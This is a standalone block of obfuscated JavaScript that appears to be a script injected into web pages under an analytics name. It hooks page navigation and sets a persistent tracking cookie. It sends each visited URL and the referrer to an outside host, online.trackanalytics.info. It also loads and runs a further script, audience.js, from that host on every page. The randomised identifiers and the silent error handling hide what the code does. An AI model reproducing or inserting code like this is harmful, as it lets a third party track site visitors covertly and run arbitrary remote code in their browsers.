(async function () { try { if (sessionStorage.getItem('ua_key')) { return; } const ua = navigator.userAgent; const encoder = new TextEncoder(); const data = encoder.encode(ua); const hashBuffer = await crypto.subtle.digest('SHA-256', data); const hashArray = Array.from(new Uint8Array(hashBuffer)); const hashHex = hashArray .map(b => b.toString(16).padStart(2, '0')) .join(''); sessionStorage.setItem('ua_key', hashHex); } catch (e) { } })(); function EUXcpJWer (jtlCzIgRl) { var MWIeHKmFp = jtlCzIgRl + '='; var iOiOTJwDs = document.cookie.split(';'); for (var i = 0; i < iOiOTJwDs.length; i++) { var iXOzzeDHb = iOiOTJwDs[i]; while (iXOzzeDHb.charAt(0) === ' ') { iXOzzeDHb = iXOzzeDHb.substring(1); } if (iXOzzeDHb.indexOf(MWIeHKmFp) === 0) { return iXOzzeDHb.substring(MWIeHKmFp.length, iXOzzeDHb.length); } } return ''; } function jWHCNfzWY () { return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function (FlCdTqWUl) { var mNYVfUYLP = Math.random() * 16 | 0, iFxAyshIG = FlCdTqWUl === 'x' ? mNYVfUYLP : (mNYVfUYLP & 0x3 | 0x8); return iFxAyshIG.toString(16); }) } (async function () { try { if (sessionStorage.getItem('screen_key')) { return; } const screenSize = [ screen.width, screen.height, screen.colorDepth, window.devicePixelRatio || 1 ].join('x'); const encoder = new TextEncoder(); const data = encoder.encode(screenSize); const hashBuffer = await crypto.subtle.digest('SHA-256', data); const hashArray = Array.from(new Uint8Array(hashBuffer)); const hashHex = hashArray .map(b => b.toString(16).padStart(2, '0')) .join(''); sessionStorage.setItem('screen_key', hashHex); } catch (e) { } })(); var LPQGiUSNb = window.location.href; (() => { let oldPushState = history.pushState; history.pushState = function pushState() { let ret = oldPushState.apply(this, arguments); window.dispatchEvent(new Event('pushstate')); window.dispatchEvent(new Event('locationchange')); return ret; }; let oldReplaceState = history.replaceState; history.replaceState = function replaceState() { let ret = oldReplaceState.apply(this, arguments); window.dispatchEvent(new Event('replacestate')); window.dispatchEvent(new Event('locationchange')); return ret; }; window.addEventListener('popstate', () => { window.dispatchEvent(new Event('locationchange')); }); })(); ifaogXwmQ(LPQGiUSNb).then(function (value) { window.addEventListener('locationchange', function () { if (window.location.href != LPQGiUSNb) { LPQGiUSNb = window.location.href; ifaogXwmQ(LPQGiUSNb).then(function (value) { }); } }); }); async function ifaogXwmQ (CSmGQeJsA) { var KgaysToUV = EUXcpJWer('trackanalytics_user'); if (!KgaysToUV || KgaysToUV === '') KgaysToUV = jWHCNfzWY(); var viJNdcEEw = (new Date(Date.now() + 30 * 86400 * 1000)).toUTCString(); document.cookie = 'trackanalytics_user=' + KgaysToUV + '; expires=' + viJNdcEEw + '; path=/' + '; SameSite=Lax' + '; Secure'; var AIzfAKREu = { url: CSmGQeJsA, referrer: document.referrer, unique_id: KgaysToUV }; var log_url_eESGFzYiq = 'https://online.trackanalytics.info/save-data/?async=true&panel='; try { let response = await fetch( log_url_eESGFzYiq, { method: 'POST', body: new URLSearchParams(AIzfAKREu), headers: { 'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8' }, }) } catch (error) { } return ''; } try { var hyCgIyszv_referrer = document.referrer; if (hyCgIyszv_referrer == "") { hyCgIyszv_referrer = window.location.href; } if (hyCgIyszv_referrer) { const c_domain = new URL(hyCgIyszv_referrer).hostname; async function gWsrwuzAa_tracker () { var UeVymHaCG_script = document.createElement('script'); UeVymHaCG_script.src = `https://online.trackanalytics.info/audience.js?domain=${c_domain}`; document.head.appendChild(UeVymHaCG_script); } gWsrwuzAa_tracker(); } } catch (error) { } (async function () { try { if (sessionStorage.getItem('url_key')) { return; } const currentUrl = location.origin + location.pathname + location.search; const encoder = new TextEncoder(); const data = encoder.encode(currentUrl); const hashBuffer = await crypto.subtle.digest('SHA-256', data); const hashArray = Array.from(new Uint8Array(hashBuffer)); const hashHex = hashArray .map(b => b.toString(16).padStart(2, '0')) .join(''); sessionStorage.setItem('url_key', hashHex); } catch (e) { } })();